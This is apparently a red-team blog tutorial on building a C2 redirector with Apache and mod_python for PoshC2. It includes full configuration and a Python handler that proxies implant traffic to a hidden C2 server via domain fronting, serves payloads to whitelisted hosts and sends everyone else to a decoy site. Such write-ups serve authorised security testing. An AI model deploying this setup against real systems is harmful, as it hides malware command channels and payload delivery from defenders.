Note: The inspiration for this post and the base of the config has been taken from this blog post - written by Tom Wilson

When conducting red teaming engagements C2 proxies or redirectors are an essential tool to hide the true location of your C2 server.

There are a range of options for redirecting/proxying traffic, this post will focus on using Apache with mod_python.

mod_python essentially allows for the python interpreter to be embedded into Apache and allows for the execution of python scripts.

Below is an overview of what typical C2 infrastrucure will look like:

For this demonstration the setup is as follows:

Compromised/Victim machine - Windows 10 VM

C2 Server - Ubuntu server with PoshC2_Python running

C2 Proxy - Ubuntu server with Apache and mod_python running

This post is focused on the C2 proxy.

Firstly we’ll need to build the C2 proxy. In this instance I’m going to use a Digital Ocean droplet. Once it’s up and running we need to make sure it’s up to date and has the relevant software installed and running: apt-get update && apt-get upgrade apt-get install apache2 libapache2-mod-python a2enmod python a2enmod proxy a2enmod proxy_http a2enmod rewrite systemctl restart apache2.service

Once it’s up and running there will be three main files that need configuring: /etc/apache2/sites-available/000-default-le-ssl.conf , /etc/apache/ports.conf & the main python handler.

I’m also going to disable /etc/apache2/sites-available/000-default.conf as the config can all remain in one file. a2dissite 000-default.conf systemctl restart apache2.service

The base of the Apache config file, should look something like the below:

ServerSignature Off ServerTokens Prod <IfModule mod_ssl.c> <VirtualHost *:443> PythonPostReadRequestHandler /var/www/python/handler.py PythonDebug Off #You might want this on whilst you configure the server SSLEngine on SSLProxyEngine On SSLProxyCheckPeerCN Off SSLProxyVerify none SSLProxyCheckPeerName off SSLProxyCheckPeerExpire off SSLCertificateFile /etc/letsencrypt/live/[YOUR DOMAIN HERE]/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/[YOUR DOMAIN HERE]/privkey.pem </VirtualHost> <VirtualHost *:80> #All HTTP traffic to HTTPS RewriteEngine On RewriteCond %{HTTPS} !=on RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R,L] </VirtualHost> <VirtualHost 127.0.0.1:8000> #Used to serve a "legitimate" looking site DocumentRoot /var/www/html/legitimate </VirtualHost> <VirtualHost 127.0.0.1:9000> #Used to serve payloads etc DocumentRoot /var/www/html/files_to_serve </VirtualHost>

Be sure to make sure /etc/apache/ports.conf looks matches the above. For example:

Listen *:80 Listen localhost:8000 Listen localhost:9000 <IfModule ssl_module> Listen 443 </IfModule> <IfModule mod_gnutls.c> Listen 443 </IfModule>

The above will ensure Apache does the following:

Listens on port 80 on all interfaces, all traffic will then be forwarded to 443.

Listens on ports 8000 & 9000 on the loopback interface. These will be used to serve either a legitimate looking website or payloads.

Listens on port 443 on all interfaces, this will be where traffic hits the python handler and is redirected/proxied depending on what rules it matches.

The core of the modpython configuration is the main python handler, in this example this file is /var/www/python/handler.py

As noted above, the base of this file comes from this blog post.

The below example is configured to work as a C2 proxy for PoshC2_python and also has the following functionality:

All traffic hitting the proxy directly (I.e. not via a domain front) is displayed a simple HTML page but will never hit the C2 server

Allows you to configure a whitelist of IP addresses (set up for domain traffic via domain fronting)

Allows for files (payloads/supporting files etc) to be served to whitelisted IPs

Send notifications via Pushover if traffic hits the server but is not on the whitelist

Triggers a visual alert that you’ve got a new implant

In this case, the visual alert is a LIFX bulb flashing red.

Below is the python handler, please bear in mind this is more of a PoC than anything else. There are definitely more elegant solutions to do some of this and obviously don’t use this on a live engagement without testing etc.

import logging import requests from mod_python import apache def postreadrequesthandler ( request ): request . handler = "proxy-server" request . proxyreq = apache . PROXYREQ_REVERSE useragent = request . headers_in . get ( "user-agent" , None ) ip = request . get_remote_host ( apache . REMOTE_NOLOOKUP ) useragent = request . headers_in . get ( "user-agent" , None ) Posh_Server = "[REDACTED]" Posh_URIs = [ "[ADD POSH C2 URIS HERE]" ] File_URIS = [ "/payload/file" , "test/xml" ] Whitelist = [ "[ADD WHITELIST OF IPS HERE]" ] if "X-Forwarded-For" in request . headers_in : #If traffic is coming via the domain front if request . headers_in [ "X-Forwarded-For" ] in Whitelist : # and is on the whitelist if request . unparsed_uri == "[POSH Staging URI]" : request . connection . log_error ( "New posh implant from a whitelisted IP proxying to Posh Server" , apache . APLOG_ERR ) request . filename = ( "proxy:https:// % s/ % s" % ( Posh_Server , request . unparsed_uri )) notify_message = "New implant is live - IP: % s" % request . headers_in [ "X-Forwarded-For" ] sendnotification ( notify_message ) lifx () #Flash the light elif request . unparsed_uri . startswith ( tuple ( Posh_URIs )): request . connection . log_error ( "Request for % s from a whitelisted IP proxying to Posh Server ( % s)" % ( request . unparsed_uri , Posh_Server ) , apache . APLOG_ERR ) request . filename = ( "proxy:https:// % s/ % s" % ( Posh_Server , request . unparsed_uri )) # If it's a Posh URI, proxy the traffic to the Posh server elif request . unparsed_uri in File_URIS : #If it's a payload file, proxy to the virtual host on 9000 request . filename = ( "proxy:http://localhost:9000/ % s" % request . unparsed_uri ) else : request . connection . log_error ( "Traffic is going via CloudFront but is not on the whitelist: % s - Sending notification" % request . headers_in [ "X-Forwarded-For" ] , apache . APLOG_ERR ) #This will match any traffic that is going via domain fronting but is not on the whitelist notify_message = "Traffic via CF but not on whitelist: % s - % s" % ( request . headers_in [ "X-Forwarded-For" ], useragent ) sendnotification ( notify_message ) #Send a notification via Pushover request . connection . log_error ( "Notification sent" , apache . APLOG_ERR ) else : request . connection . log_error ( "Request from % s direct to proxy - Can't be legit traffic, sending to website" % ip , apache . APLOG_ERR ) request . filename = ( "proxy:http://localhost:8000/ % s" % request . unparsed_uri ) #In this example all C2 traffic will be domain fronted and all links to files will be via the CDN, so anything hitting the proxy directly is just noise. So we proxy it to the virutal host on 8000, which can run a legit website or just a redirect to elsewhere return apache . OK def sendnotification ( notify_message ): url = "https://api.pushover.net/1/messages.json" data = { "token" : "[REDACTED]" , "user" : "[REDACTED]" , "message" : notify_message } requests . post ( url , data = data ) def lifx (): token = "[REDACTED]" headers = { "Authorization" : "Bearer % s" % token } payload = { "color" : "red" , "period" : "0.4" , "cycles" : "10.0" , "persist" : "false" , "power_on" : "true" } response = requests . post ( 'https://api.lifx.com/v1/lights/all/effects/pulse' , data = payload , headers = headers )

Once this config is live, we get the following results:

Pushover notification sent if any none whitelisted IPs hit the proxy via the CDN

All traffic going direct to the proxy is forwarded to a “legit” looking site

PoshC2 comms working, Pushover notification and flashy light on all new implants

So overall mod_python seems to work well and makes it both quick and easy to add a lot of functionality to a C2 proxy. As it allows for standard python scripts to be run there is pretty much no bounds to what it could be used for.